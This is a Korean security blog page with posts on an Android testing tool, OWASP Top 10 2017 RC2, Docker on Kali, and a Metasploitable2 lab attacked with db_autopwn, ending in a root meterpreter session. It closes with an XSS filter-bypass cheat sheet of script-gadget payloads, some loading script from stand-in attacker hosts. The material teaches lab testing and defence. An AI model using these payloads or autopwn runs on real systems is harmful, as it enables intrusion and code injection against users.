10/30/2017

[HACKING] BadIntent - Android 취약점 분석을 위한 Burp Suite Extension

BlackHat 자료 보던 중 괜찮은 Android 취약점 분석 도구가 있어 공유드립니다. 아직 자료가 많이 없어 삽질이 좀 많습니다. 양해 부탁드립니다.

오늘 이야기할 툴은 BadIntent입니다.

What is BadIntent?

BadIntent는 Burp suite의 확장기능입니다. Burp에 BadIntent를 붙여놓고 안드로이드 기기에 설치한 Bad Intent 앱으로부터 앱 구동 시 발생하는 정보를 전송받아 분석가에게 테스트를 할 수 있도록 제공해줍니다.

대표적으로 intent sniffing, bf , AIDL Test, GCM Attack, Webview vuln, Insecure logging, ACL Issue, PasteBoard Vuln 에 대해서 체크할 수 있다고 공식홈에 설명되어있습니다.

다만 Intent 데이터를 받을 수 있기 떄문에 위에 설명된 부분 이외에도 여러가지 방향으로 테스트해 볼 수 있을듯합니다.


Burp 확장기능, Android 앱으로 구성되어있으며 각각 maven, gradle로 컴파일이 필요합니다. (개발자가 미리 만들어두지 않았네요)

크게 구성을 보면 아래와 같습니다. App에서 다른 App의 데이터를 후킹하고, 그 데이터를 Burp Extension을 통해 Burp interface로 전달해줍니다. 분석가는 Burp를 통해 안드로이드 앱에 대한 동적 분석을 할 수 있습니다.



그럼 다운로드하고 시작해보도록 하죠.

#> git clone https://github.com/mateuszk87/BadIntent.git
#> cd BadIntent

BadIntentBurp

먼저 Burp 확장기능 부터 만들어봅시다. BadIntent 디렉토리 내 BadIntentBurp 디렉토리가 있고 pom.xml 파일이 있는 것으로 보아 maven 프로젝트로 보입니다.

#> cd BadIntentBurp
#> vim pom.xml

pom.xml 내용을 보니 maven이 맞네요. 따로 target.dir 지정하셔도 좋고, 지정 안하면 바로 하위에 target 파일이 생기게 됩니다.

#> cat pom.xml 
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>de.mat3.badintent</groupId>
  <artifactId>badintent-burp</artifactId>
  <version>0.9.9.9</version>
  <name>badintent</name>
  <description>BadIntent Burp Plugin</description>
 
    <properties>
       <deploy.target.dir>/home/hahwul/</deploy.target.dir>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
    </properties>

mvn을 이용해 패키지를 생성해볼까요?

#> mvn clean package
[INFO] Scanning for projects...
[INFO]                                                                       
[INFO] ------------------------------------------------------------------------
[INFO] Building badintent 0.9.9.9
[INFO] ------------------------------------------------------------------------
Downloading: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.pom
Downloaded: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.pom (4 KB at 2.4 KB/sec)
Downloading: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/22/maven-plugins-22.pom
Downloaded: https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-plugins/22/maven-plugins-22.pom (13 KB at 23.0 KB/sec)
Downloading: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/21/maven-parent-21.pom

target 디렉토리로 가서 보면..

#> cd target
#> ls
archive-tmp  badintent-burp-0.9.9.9-jar-with-dependencies.jar  badintent-burp-0.9.9.9.jar  classes  generated-sources  maven-archiver

jar 파일이 생성되었습니다. Burp로 들어가서 해당 jar 파일을 로드시켜줍니다.
(badintent-burp-0.9.9.9.jar)


BadIntentAndroid

안드로이드 디렉토리로 들어가서 gradle로 apk를 만들어줍니다.
#> cd BadIntentAndroid
#> gradle assemble

or

아래 따로 트러블슈팅 내용도 적긴했지만 혹시 과정에 문제가 많다면 xpose에 올라온 apk 파일로 설치하는 것도 좋습니다.

http://repo.xposed.info/module/de.mat3.badintent



apk 를 받았다면 테스트할 폰에 깔아줍니다.

#> adb install badintent.apk 
434 KB/s (2768885 bytes in 6.227s)
pkg: /data/local/tmp/badintent.apk
Success



Conclusion

위에 앱에서 대충 써놓은 것 처럼 후킹할 패키지와 인터페이스에 대해 필터를 건 후 앱 동작 시 Burp Suite로 데이터가 넘어오게 됩니다. 대체로 앱 내 웹, API 요청에 대한 분석도 모바일 취약점 분석에서 많은 부분을 차지하기 떄문에 Burp, Fiddler와 같은 툴과의 연동성은 굉장히 좋은 장점으로 보입니다.

https://github.com/mateuszk87/BadIntent/raw/master/doc/img/main.png

※ TroubleShooting

설치 과정 중 발생했던 문제 관련해서 남겨눕니다. maven쪽은 별거 없었는데, gradle 에서 많이 걸렸습니다.

1. Minimum supported Gradle version is 2.14.1. 오류
apk를 만들기 위해 assemble 과정에서 아래와 같은 에러가 발생합니다.

#> gradle assemble
To honour the JVM settings for this build a new JVM will be forked. Please consider using the daemon: https://docs.gradle.org/2.10/userguide/gradle_daemon.html.

FAILURE: Build failed with an exception.

* Where:
Build file '/home/hahwul/Noon/BadIntent/BadIntentAndroid/app/build.gradle' line: 1

* What went wrong:
A problem occurred evaluating project ':app'.
> Failed to apply plugin [id 'com.android.application']
   > Minimum supported Gradle version is 2.14.1. Current version is 2.10. If using the gradle wrapper, try editing the distributionUrl in /home/hahwul/Noon/BadIntent/BadIntentAndroid/gradle/wrapper/gradle-wrapper.properties to gradle-2.14.1-all.zip

* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output.

BUILD FAILED

Total time: 3.977 secs

먼저 에러 내용에서 나오는 것과 같이 gradle-wrapper.properties에서 distributionUrl을 2.14 이후로 올려주면 됩니다만, BadIntent의 경우 기본 3.0 대로 지정되어 있습니다.

고민하고 검색하다보니 간단한데 답이 있었습니다. 바로 gradle 자체 버전으로 인한 문제였습니다.
아래 블로그를 보시면 각각 gradle 버전에서 지원할 수 있는 plugins의 버전이 다르다는 것을 알 수 있습니다.

http://creaby.tistory.com/6

기존 2.1에서 상위버전으로 올려야겠습니다.

#> gradle -v

------------------------------------------------------------
Gradle 2.10
------------------------------------------------------------

Build time:   2016-01-26 15:17:49 UTC
Build number: none
Revision:     UNKNOWN

Groovy:       2.4.5
Ant:          Apache Ant(TM) version 1.9.6 compiled on July 8 2015
JVM:          1.8.0_131 (Oracle Corporation 25.131-b11)
OS:           Linux 4.4.0-97-generic amd64

ppa 등록 후 apt 통해 상위 버전으로 설치합니다.

#> add-apt-repository ppa:cwchien/gradle
#> apt-get update
#> apt-cache search gradle
android-platform-tools-base - base tools for developing applications for the Android system
gradle-debian-helper - Helper tools for building Debian packages with Gradle
gradle-doc - Powerful build system for the JVM - Documentations
gradle-propdeps-plugin - Gradle plugin enhancing the Maven integration
libgradle-core-java - Powerful build system for the JVM - Core libraries
libgradle-jflex-plugin-java - Gradle plugin for JFlex, a scanner generator
libgradle-plugins-java - Powerful build system for the JVM - All plugins
gradle - Gradle is a Groovy based build system
gradle-ppa - Gradle is a Groovy based build system
gradle-3.0 - Gradle is a Groovy based build system
gradle-3.1 - Gradle is a Groovy based build system
gradle-3.2 - Gradle is a Groovy based build system
gradle-3.2.1 - Gradle is a Groovy based build system
gradle-3.3 - Gradle is a Groovy based build system
gradle-3.4 - Gradle is a Groovy based build system
gradle-3.4.1 - Gradle is a Groovy based build system
gradle-3.5 - Gradle is a Groovy based build system
gradle-4.0 - Gradle is a Groovy based build system
gradle-4.0.1 - Gradle is a Groovy based build system
gradle-3.5.1 - Gradle is a Groovy based build system
gradle-4.0.2 - Gradle is a Groovy based build system
gradle-4.1 - Gradle is a Groovy based build system
gradle-4.2 - Gradle is a Groovy based build system
gradle-4.2.1 - Gradle is a Groovy based build system

#> apt-get install gradle-3.0
#> gradle -v

------------------------------------------------------------
Gradle 3.0
------------------------------------------------------------

Build time:   2016-08-15 13:15:01 UTC
Revision:     ad76ba00f59ecb287bd3c037bd25fc3df13ca558

Groovy:       2.4.7
Ant:          Apache Ant(TM) version 1.9.6 compiled on June 29 2015
JVM:          1.8.0_131 (Oracle Corporation 25.131-b11)
OS:           Linux 4.4.0-97-generic amd64


2 .SDK location not found. Define location with sdk.dir in the local.properties file or with an ANDROID_HOME environment variable.

두번째 문제는 ANDROID_HOME 환경변수 관련 문제입니다. 컴파일 시 Android SDK를 사용해야하기 때문에 환경 변수의 값을 참조하게 되어있습니다. 다만 사람에 따라 Android Studio를 사용하지 않을 수 있기 때문에(저 같은 상황) 환경 변수에 SDK가 설치된 경로를 넣어주면 깔끔하게 해결됩니다.

#> env | grep ANDROID_HOME
#> export ANDROID_HOME=/home/hahwul/Other/android/sdk/
#> env | grep ANDROID_HOME
ANDROID_HOME=/home/hahwul/Other/android/sdk/


3. You have not accepted the license agreements of the following SDK components:   [Android SDK Build-Tools 25.0.3].
(http://doctorson0309.tistory.com/42, 참고)
이 문제는 SDK에 라이센스 동의가 되지 았았다는 이야기로 보입니다.

Warning: License for package Android SDK Build-Tools 25.0.3 not accepted.

FAILURE: Build failed with an exception.

* What went wrong:
A problem occurred configuring project ':app'.
> You have not accepted the license agreements of the following SDK components:
  [Android SDK Build-Tools 25.0.3].
  Before building your project, you need to accept the license agreements and complete the installation of the missing components using the Android Studio SDK Manager.
  Alternatively, to learn how to transfer the license agreements from one workstation to another, go to http://d.android.com/r/studio-ui/export-licenses.html


sdk 디렉토리로 이동 후 license 디렉토리를 만들어줍니다.

#> mkdir license

그다음 licenses 디렉토리에 있는 android-sdk-license 파일을 license 디렉토리로 복사해줍니다.

#> licenses
#> cp android-sdk-license ../license

그러고 다시 해보면..

#> gradle assemble
License for package Android SDK Build-Tools 25.0.3 accepted.

Reference

https://github.com/mateuszk87/BadIntent
http://creaby.tistory.com/6
http://doctorson0309.tistory.com/42
Share: | Coffee Me:

10/23/2017

[WEB HACKING] OWASP Top 10 2017 RC2 Review (신규 항목 및 개인적인 의견)

지난달 OWASP Top 10 2017년도 버전 RC2가 나왔습니다. RC2 버전은 기존 RC1에서 개선되어 발표되는 버전이고 몇가지 만족스러운 변화가 있었습니다.

오늘은 OWASP Top 10 2017 RC2의 변화된 사항과 개인적인 의견을 전달드리려 합니다.


OWASP Top 10 2017 RC2

OWASP github에 공개되어 있습니다.
https://github.com/OWASP/Top10/blob/master/2017/OWASP%20Top%2010%202017%20RC2%20Final.pdf

기존 2017 RC1에서 3가지 사항에 변경이 있었습니다.

OWASP Top 10 2017 RC2 Final.pdf


새로 추가된 사항

요약하자면 XXE, Deserialization 관련, 로깅&모니터링 관련 사항이 추가되었습니다.
아래에서도 이야기드리겠지만 새로 추가된 것중 2가지는 현업 종사자로써 만족스러운 부분이기도 하네요.

A4. XXE(XML External Entity)

XXE 취약점은 XML을 파싱하는 과정에서 ENTITY 속성을 이용한 공격입니다. XML이라는 범위와 공격 형태가 정해져있지만 최근 많은 공격이 발생하고 있고 XXE 제로데이 또한 잘 올라오고 있습니다.

알게모르게 많은 어플리케이션들은 XML을 사용합니다. 웹, 프로그램부터 여러가지로 사용되고 있고 대부분 검증이 잘 되지 않아 XML Injection을 통한 ENTITY 호출로 시스템 명령이나 파일 탈취되기도 합니다.

아무래도 리스크가 높고 취약 포인트를 잡았을때 결과까지 만들어가기 쉬운편이라 중요하게 보아야할 것 같습니다.

올 5월에 온라인 문서 파서에서 유용한 ooxml xxe 관련해서 포스팅했었으니 참고 부탁드립니다 :)
http://www.hahwul.com/2017/05/web-hacking-ooxml-xxe.html


A8. Insecure Deserialization

두번째는 역직렬화 취약점입니다. Deserialize는 역직렬화로 파일에 쓰인 객체를 어플리케이션이 로드하여 사용할 수 있게 도와줍니다. 이 과정에서 임의로 명령실행이나 권한 상승이 가능한 객체를 생성하여 전달해주니다.

공격자는 이를 이용해서 악의적인 객체를 넘겨주고 어플리케이션이 이를 로드하는 과정에서 검증되지 않은 객체를 만들어 공격자가 의도한 행위가 실행됩니다.

최근에 Struts2 RCE 취약점이 있었는데 해당 취약점도 Deserialization으로 인한 취약점이였습니다.

(http://www.hahwul.com/2017/09/exploit-struts2-rest-plugin-xstream-rce.html)

Struts2 취약점에서의 Deserialization


A10. Insufficient Logging & Monitoring

서비스에 대한 로깅과 모니터링에 대한 부분입니다. 공격에 대해서 빠르게 감지하고 대응하려면 로깅과 모니터링이 잘 이루어지고 있어야하지만 지켜지지 않는 경우도 많다고 합니다. 최근부터 OWASP가 단순히 취약점 이외에 항목들, 보안성에 대한 이야기를 하기 때문에 이런 형태의 항목들도 추가가 되고 있습니다. 웹 취약점 진단 시 이런것도 체크하면 좋을 것 같네요. (테스팅이 안되면 질의서라도...핳)

Conclusion

이번 RC2는 개인적으로 만족스럽습니다. 매번 일을 하면서 XXE와 Deserialize Vulnerability에 대한 위험성과 중요도를 많이 느꼈었고 이 친구들이 다음 OWASP에라도 올라왔으면 하는 바램이 있었습니다.

새로 추가된 3개의 항목은 굉장히 중요합니다. A4. A8과 같은 기술에 대해선 잘 숙지하고 A10 같이 조금 넓은 의미에 대한 항목 또한 어떻게 테스팅할건지, 좋은 방안으로 사용될 수 있는지 연구가 필요할 것 같네요.


※ 추가
지금 보니깐 CSRF가 빠졌네요? 좀 놀라운데.. 순위가 그렇다쳐도 XSS,CSRF는 아주 중요한 취약점인데 빠졌다는건 의외네요.
개인적으론.. CSRF가 다시 포함되었으면 하는 바램입니다.

Reference

https://github.com/OWASP/Top10/blob/master/2017/OWASP%20Top%2010%202017%20RC2%20Final.pdf

Share: | Coffee Me:

10/22/2017

[LINUX] Install docker on kali linux(칼리 리눅스에서 도커 설치하기)

Kali Linux 에선 기본 패키지 매니저에 있는 docker 사용이 불가능합니다.
그러다 보니 직접 source.list를 추가하고 dockerproject에서 docker 설치가 필요합니다.

살짝 Virtualbox 설치하는 것과 비슷비슷하죠.

Install!

먼저 인증서 처리를 위해 dirmngr를 비롯한 몇가지 패키지를 설치해줍니다.

#> apt-get install -y apt-transport-https ca-certificates
#> apt-get install dirmngr

그다음 키 처리 후 apt source.list에 docker repo를 추가합니다.

#> apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 \
--recv-keys 58118E89F3A912897C070ADBF76221572C52609D

#> echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > \
/etc/apt/sources.list.d/docker.list

잘 들어갔네요.

#> cat /etc/apt/sources.list.d/docker.list
deb https://apt.dockerproject.org/repo debian-stretch main

이제 apt를 업데이트 해주고 docker-engine을 설치해줍니다.

#> apt-get update
#> apt-cache search docker-engine
#> apt-get install docker-engine



#> docker


Reference

Share: | Coffee Me:

10/20/2017

[HACKING] 가상 침투 환경 구성을 위한 metasploitable2 설치(feat db_autopwn 성능 테스트)

가상 환경에서의 침투테스트. 어떻게 생각하시나요?

분명 실제 상황과 느낌도 다르고 불안한감도 없어 장난감 같은 느낌이 들겁니다. 사람이 미리 취약하게 만들어둔 시스템을 공격하는게 무슨 의미가 있는가 라는 질문도 받습니다.

목검은 다듬어진 나무지만 누가쥐느냐에 따라 다릅니다. 숙련된 사람이라면 분명 목검만으로도 굉장한 위력을 보여줄 수 있겠죠. 마찬가지로 가상환경에서의 반복적인 연습이 실제 침투에 속도와 정확성 등 도움이 될 부분이 많다고 생각합니다.

쓸데없는 서론은 치우고 시작해봅시다 :)

오늘은 잘 만들어진 가상환경에 대해 이야기할까 합니다. 바로 metasploitable입니다.

metasploitable2 설치

metasploitable은 metasploit 측에서 제공하는 취약한 VM입니다. 연습용 가상머신으로 보면 좋지요.
이것저것 가지고 놀기에 심플하고 좋으니 하나의 환경으로 애용해주면 좋을 것 같네요.

현재 metasploitable은 소스포지에서 다운로드가 가능합니다.
https://sourceforge.net/projects/metasploitable/

접속 후 파일을 다운로드합니다. 압축을 해제하면 vmdk와 여러 가상머신 파일이 나옵니다. Vmware 기준으로 만들어졌기 때문에 Vmware를 사용하시는 분은 바로 로드하시면 되고 VirtualBox 유저는 vdi로 변환해서 가상머신에 올려주시면 됩니다.

#> unzip metasploitable-linux-2.0.0.zip
#> cd Metasploitable2-Linux


※ VirtualBox 
#> vboxmanage clonehd --format VDI Metasploitable.vmdk Metasploitable.vdi
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Clone medium created in format 'VDI'. UUID: 28f85d3e-c1ed-4ff9-b09f-091f66758dd0

vdi 파일로 변경하였으면 이제 VirtualBox에서 사용할 수 있기 때문에 가상머신을 만들어줍니다.
하드디스크만 해당 vdi 파일로 적용해주시면 되요.

metasploitable 계정정보는 아래와 같습니다. 물론 알아도 그만 몰라도 그만이지만요.
user: msfadmin
pass: msfadmin


※ 주의 / 답안지 느낌이니 안보시는걸 추천(혹시라도 궁금할때 보세요)
Exploing Guide
https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide

끝났습니다. 로그인해서 ip 정보 확인하고 바로 침투를 시작하면 됩니다.
(대충봐도 무지 많다!)

host            port  proto  name          state  info
----            ----  -----  ----          -----  ----
192.168.56.101  21    tcp    ftp           open 
192.168.56.101  22    tcp    ssh           open   SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
192.168.56.101  23    tcp    telnet        open 
192.168.56.101  25    tcp    smtp          open   220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

192.168.56.101  53    tcp    domain        open 
192.168.56.101  80    tcp    http          open   Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
192.168.56.101  111   tcp    rpcbind       open 
192.168.56.101  139   tcp    netbios-ssn   open 
192.168.56.101  445   tcp    microsoft-ds  open 
192.168.56.101  512   tcp    exec          open 
192.168.56.101  513   tcp    login         open 
192.168.56.101  514   tcp    shell         open 
192.168.56.101  1099  tcp    java-rmi      open   Java RMI Registry
192.168.56.101  1524  tcp    ingreslock    open 
192.168.56.101  2049  tcp    nfs           open 
192.168.56.101  2121  tcp    ccproxy-ftp   open 
192.168.56.101  3306  tcp    mysql         open   5.0.51a-3ubuntu5
192.168.56.101  5432  tcp    postgres      open   PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
192.168.56.101  5900  tcp    vnc           open   VNC protocol version [3, 4].3
192.168.56.101  6000  tcp    x11           open 
192.168.56.101  6667  tcp    irc           open 
192.168.56.101  8009  tcp    ajp13         open 
192.168.56.101  8180  tcp    unknown       open 

db_autopwn install 

8월쯤에 autopwn 관련해서 글 작성한적이 있습니다.
http://www.hahwul.com/2017/08/metasploit-automatic-exploit-attack.html

관련 github
https://github.com/hahwul/metasploit-db_autopwn

성능테스트 해볼겸 사용해봅시다.

먼저 autopwn을 Metasploit 플러그인으로 넣어둡니다. (autopwn의 위험성으로 공식 배포에선 빠졌습니다)

#> git clone https://github.com/hahwul/metasploit-db_autopwn
#> cd metasploit-db_autopwn
#> mv db_autopwn.rb [metasploit_directory]/plugin

or

#> wget https://raw.githubusercontent.com/hahwul/metasploit-db_autopwn/master/db_autopwn.rb
#> mv db_autopwn.rb [metasploit_directory]/plugin

불러보면..

HAHWUL exploit(ghost_glibc_remote_exploit) > load db_autopwn
[*] Successfully loaded plugin: db_autopwn



[*] Usage: db_autopwn [options]
-h          Display this help text
-t          Show all matching exploit modules
-x          Select modules based on vulnerability references
-p          Select modules based on open ports
-e          Launch exploits against all matched targets
-r          Use a reverse connect shell
-b          Use a bind shell on a random port (default)
-q          Disable exploit module output
-R  [rank]  Only run modules with a minimal rank
-I  [range] Only exploit hosts inside this range
-X  [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m  [regex] Only run modules whose name matches the regex
-T  [secs]  Maximum runtime for any exploit in seconds

잘되네요.

exploit! autopwn!

테스트를 해봅시다.

HAHWUL exploit(ghost_glibc_remote_exploit) > db_autopwn -p -R great -e -q 192.168.56.101
[-] The db_autopwn command is DEPRECATED
[-] See http://r-7.co/xY65Zr instead
[*] (1/533 [0 sessions]): Launching exploit/freebsd/ftp/proftp_telnet_iac against 192.168.56.101:21...
[*] (2/533 [0 sessions]): Launching exploit/linux/ftp/proftp_sreplace against 192.168.56.101:21...
[*] (3/533 [0 sessions]): Launching exploit/linux/ftp/proftp_telnet_iac against 192.168.56.101:21...
[*] (4/533 [0 sessions]): Launching exploit/multi/ftp/wuftpd_site_exec_format against 192.168.56.101:21...
[*] (5/533 [0 sessions]): Launching exploit/unix/ftp/proftpd_133c_backdoor against 192.168.56.101:21...
[*] (6/533 [0 sessions]): Launching exploit/unix/ftp/vsftpd_234_backdoor against 192.168.56.101:21...
[*] (7/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_cwd_fixret against 192.168.56.101:21...
[*] (8/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_list_fixret against 192.168.56.101:21...
[*] (9/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_mkd_fixret against 192.168.56.101:21...

....

*]  >> autopwn module timeout from exploit/linux/http/pineapple_preconfig_cmdinject after 151.61710667610168 seconds
[*]  >> autopwn module timeout from exploit/linux/http/webcalendar_settings_exec after 150.63282704353333 seconds
[*]  >> autopwn module timeout from exploit/linux/http/trueonline_p660hn_v1_rce after 150.87934255599976 seconds
[*] (533/533 [1 sessions]): Waiting on 136 launched modules to finish execution...
[*]  >> autopwn module timeout from exploit/linux/http/sophos_wpa_sblistpack_exec after 151.77907156944275 seconds
[*]  >> autopwn module timeout from exploit/linux/http/pandora_fms_exec after 152.29020595550537 seconds

중간중간 잡힙니다. 결과는....


2개 잡혀있네요. 아예 못잡는건 아니지만 생각보단 잘 찾지 못하네요.

HAHWUL exploit(ghost_glibc_remote_exploit) > use post/multi/manage/shell_to_meterpreter
HAHWUL post(shell_to_meterpreter) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
HAHWUL post(shell_to_meterpreter) > set SESSION 2
SESSION => 2
HAHWUL post(shell_to_meterpreter) > run

[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.1:4433
[*] Sending stage (826872 bytes) to 192.168.56.101
[*] Meterpreter session 3 opened (192.168.56.1:4433 -> 192.168.56.101:48732) at 2017-10-20 23:40:14 +0900
[*] Command stager progress: 100.00% (736/736 bytes)
[*] Post module execution completed
HAHWUL post(shell_to_meterpreter) > 
HAHWUL post(shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Type                   Information                                                Connection
  --  ----                   -----------                                                ----------
  2   shell cmd/unix                                                                    192.168.56.1:38018 -> 192.168.56.101:19274 (192.168.56.101)
  3   meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain  192.168.56.1:4433 -> 192.168.56.101:48732 (192.168.56.101)

Share: | Coffee Me:

10/18/2017

[WEB HACKING] Bypass DOM XSS Filter/Mitigation via Script Gadgets

최근(나름..) Blackhat2017 USA에서 "Breaking XSS mitigations via Script Gadgets" 라는 제목으로 XSS 관련 발표가 있었습니다. XSS 우회패턴 만들때 도움될 수 있는 부분이니 정리해서 포스팅 작성합니다.

앞서 발표자료에 이런말이 있습니다.

"Fixing XSS is hard. Let’s instead focus on mitigating the attack."


아무리 열심히 대응해도 다시 분석하면 또 나오고..
물론 보안 전체적으로도 유효한 말이지만, XSS에서 보니 더욱 다가오네요.

오늘은 Script Gadget을 이용한 XSS Bypass 기법에 대한 이야기를 하려합니다.

XSS Filter rule

대체로 Application단에서의 XSS 대응은 개발자가 직접하거나, XSS 관련 프레임워크로 막습니다.
이외에도 브라우저, 라이브러리 등등 끌어오는 코드에서도 XSS에 대한 대응 로직은 존재합니다.

다만 WAF, XSS Filter 들은 다들 다른 규칙을 가지고 있지만 어느정도 공통적인 부분들이 존재합니다.

us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

단순하게 보면 정상적인 태그와 핸들러, 즉 공격에 사용될 가능성이 낮은 것들은 허용하고 공격에 자주쓰이는 것들은 필터링합니다.

필터링되지 않는 것들
<br>
<a>
<p>
width=
height=

필터링되는 것들
<script>
<iframe>
onerror=
onmouserover=
onfocus=

이런 필터들은 XXN 기법처럼 정규식을 풀어서 넘어갈수도 있고 이전에 소개해드렸던 방법()처럼 태그와 핸들러, 구문에 대한 인지가 어렵도록 하는 방법들이 있습니다. 무수히 많죠. Script gadget을 이용한 방법 또한 위에 방법들과 유사한 우회기법입니다.

XXN
http://www.hahwul.com/2016/01/web-hacking-xxn-attackx-xss-nightmare-r.html

XDE
http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html

 MSDN에서의 가이드라인


Selectors

Javascript Selector는 JS에서 Element를 찾는 것을 의미합니다. 의미를 알고 계셨을수도 있고 몰랐을수도 있지만 JS를 다루다보면 이미 쓰고있는 모습을 발견하실거라 생각이 드네요. 그만큼 아주 편리하고 현재 많은 코드들에 사용되고 있다는 소리입니다.

별다른거 없습니다. 우리가 HTML내 Element를 찾기 위해서 무엇을 사용하나요?

"getElementById()"

이런 계열의 함수를 많이 사용합니다. 바로 이 친구들이 Selector입니다. 몇가지 케이스를 더 볼까요?

<script src="https://code.jquery.com/jquery-3.2.1.js"></script>

<hahwul id='hwul' class='class12' data-foo="bar"></hahwul>
<script>
  t1 = document.querySelectorAll("hahwul"); // tag 이름
  t2 = document.querySelectorAll("#hwul"); // tag id
  t3 = document.querySelectorAll(".class12"); // class 이름
  t4 = document.querySelectorAll("[data-foo]"); // attribute name
  t5 = document.querySelectorAll("[data-foo^=bar]"); // attribute value
  t6 = document.getElementById("#hwul");
  t7 = $("hwul"); // jquery selector
 console.log(t1);
 console.log(t2);
 console.log(t3);
 console.log(t4);
 console.log(t5);
 console.log(t6);
 console.log(t7);
</script>




Frameworks(jquery 예시)에선 이런식으로 표현되죠. (위에서 t7)

$('<jquery selector>').append('hahwul');

Bootstrap에선
<div data-toggle='asd' title='iamtitle'></div>

이런것들이 Selector입니다.

What is script gadgets?


script gadget은 HTML Injection을 통해 공식적으로 실행이 가능한 Javascript 코드를 의미합니다.
즉 XSS 같이 의도하지 않은 코드가 아닌 정상적으로 코드로 보는 Javascript 이죠.

그렇기 때문에 Framework나 브라우저 등 여러 Filter/Mitigation를 넘어 공격코드가 동작할 수 있게 해주죠.

이런 가젯은 대표적으로.. 이런것들이 있습니다.

document.querySelector()
document.getElementById()
eval()
document.createElement()
callback.apply()
function() 등

익숙하시죠? 방금봤던 Selector에요. 이를 이용한 코드들을 Script Gadget입니다 :)

Bypass XSS Filter and Mitigation

자 이제 Script Gadget을 통해 XSS Filter에 대해 우회하는 방법에 대해 이야기하죠.
먼저 아래 코드를 봅시다.

<script src="https://code.jquery.com/jquery-3.2.1.js"></script>
<div data-role="button" data-text="www.hahwul.com"></div>
<script>
 var buttons = $("[data-role=button]");
 buttons.html(buttons[0].getAttribute("data-text"));
</script>

과연 이 코드는 실행되면 어떤일이 일어날까요?



별다른거 없습니다. data-role이 button인 div 태그 내 html 영역으로 data-text의 값이 쓰여집니다.

<div data-role="button" … >www.hahwul.com</div>

눈치빠르면 벌써 감이왔을텐데요. 다른 XSS 우회 기법들과 유사합니다. data-text에 우린 공격코드를 넣어주면되죠.

<script src="https://code.jquery.com/jquery-3.2.1.js"></script>

<div data-role="button" data-text="<script>alert(45)</script>"></div>

<script>
 var buttons = $("[data-role=button]");
 buttons.html(buttons[0].getAttribute("data-text"));
</script>


오호!

약간 비꼬아서 HTML Char로 던져도..

<script src="https://code.jquery.com/jquery-3.2.1.js"></script>

<div data-role="button" data-text="&lt;script&gt;alert(45)&lt;/script&gt;"></div>

<script>
 var buttons = $("[data-role=button]");
 buttons.html(buttons[0].getAttribute("data-text"));
</script>


이런식으로 풀려서 잘 노출됩니다. Script gadget을 이용해서도 XSS가 가능합니다.

<div data-role="button" … ><script>alert(45)</script></div>

이 자체로만으로도 어느정도 사용할 수 있겠지만 재미있는점은 여기있습니다.


바로 여러 Framework, Library에서 Selector, Script Gadget을 많이 사용한다는거죠. 이미 script 코드는 들어가 있기 때문에 우린 data-text 같은 영역을 잘 활용해서 코드만 넣어주면 트리거 시킬 수 있습니다.

하나 예를들면..

HTML sanitizers에선 title 속성에 대한 값은 안전하다고 판단하여 별도로 필터링하지 않습니다.
다만 Bootstrap에는 Script Gadget 중 하나는 title 값을 로드하여 innerHTML 영역으로 넘기기 때문에 XSS 공격에 사용될 수 있죠.

<div data-toggle=tooltip data-html=true title='<script>alert(45)</script>'>

Bypass XSS Cheat sheet(+script gadgets)

각 Framework, Library에서 사용하는 script gadget과 이를 이용한 공격 case 입니다.

Jquery
<form class="child">
<input name="ownerDocument"/><script>alert(45);</script></form>

Jquery Mobile
<div data-role=popup id='--><script>"use strict"
alert(45)</script>'></div>

Bypassing sanitizers via jQuery Mobile
<div data-role=popup id='--><script>alert(45)</script>'></div>

Bootstrap
<div data-toggle=tooltip data-html=true title='<script>alert(45)</script>'>

Bypassing CSP strict-dynamic via Bootstrap
<div data-toggle=tooltip data-html=true title='<script>alert(45)</script>'></div>

Google Closure
<a id=CLOSURE_BASE_PATH href=data:/,1/alert(45)//></a>
<form id=CLOSURE_UNCOMPILED_DEFINES>
<input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>

Bypassing NoScript via Closure (DOM clobbering)
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>

RequireJS
<script data-main='data:1,alert(45)' src='require.js'></script>

Enber
<script src=//i.am.an.invalid.self.closing.script.tag csp=ignores-me />
<script type=text/x-handlebars>
 <script src=//attacker.example.com// />
</script>

Ajaxify
<div class="document-script">alert(45)</div>

Aurelia
<div ref="me"
s.bind="$this.me.ownerDocument.createElement('script')"
data-bar="${$this.me.s.src='data:,alert(45)'}"
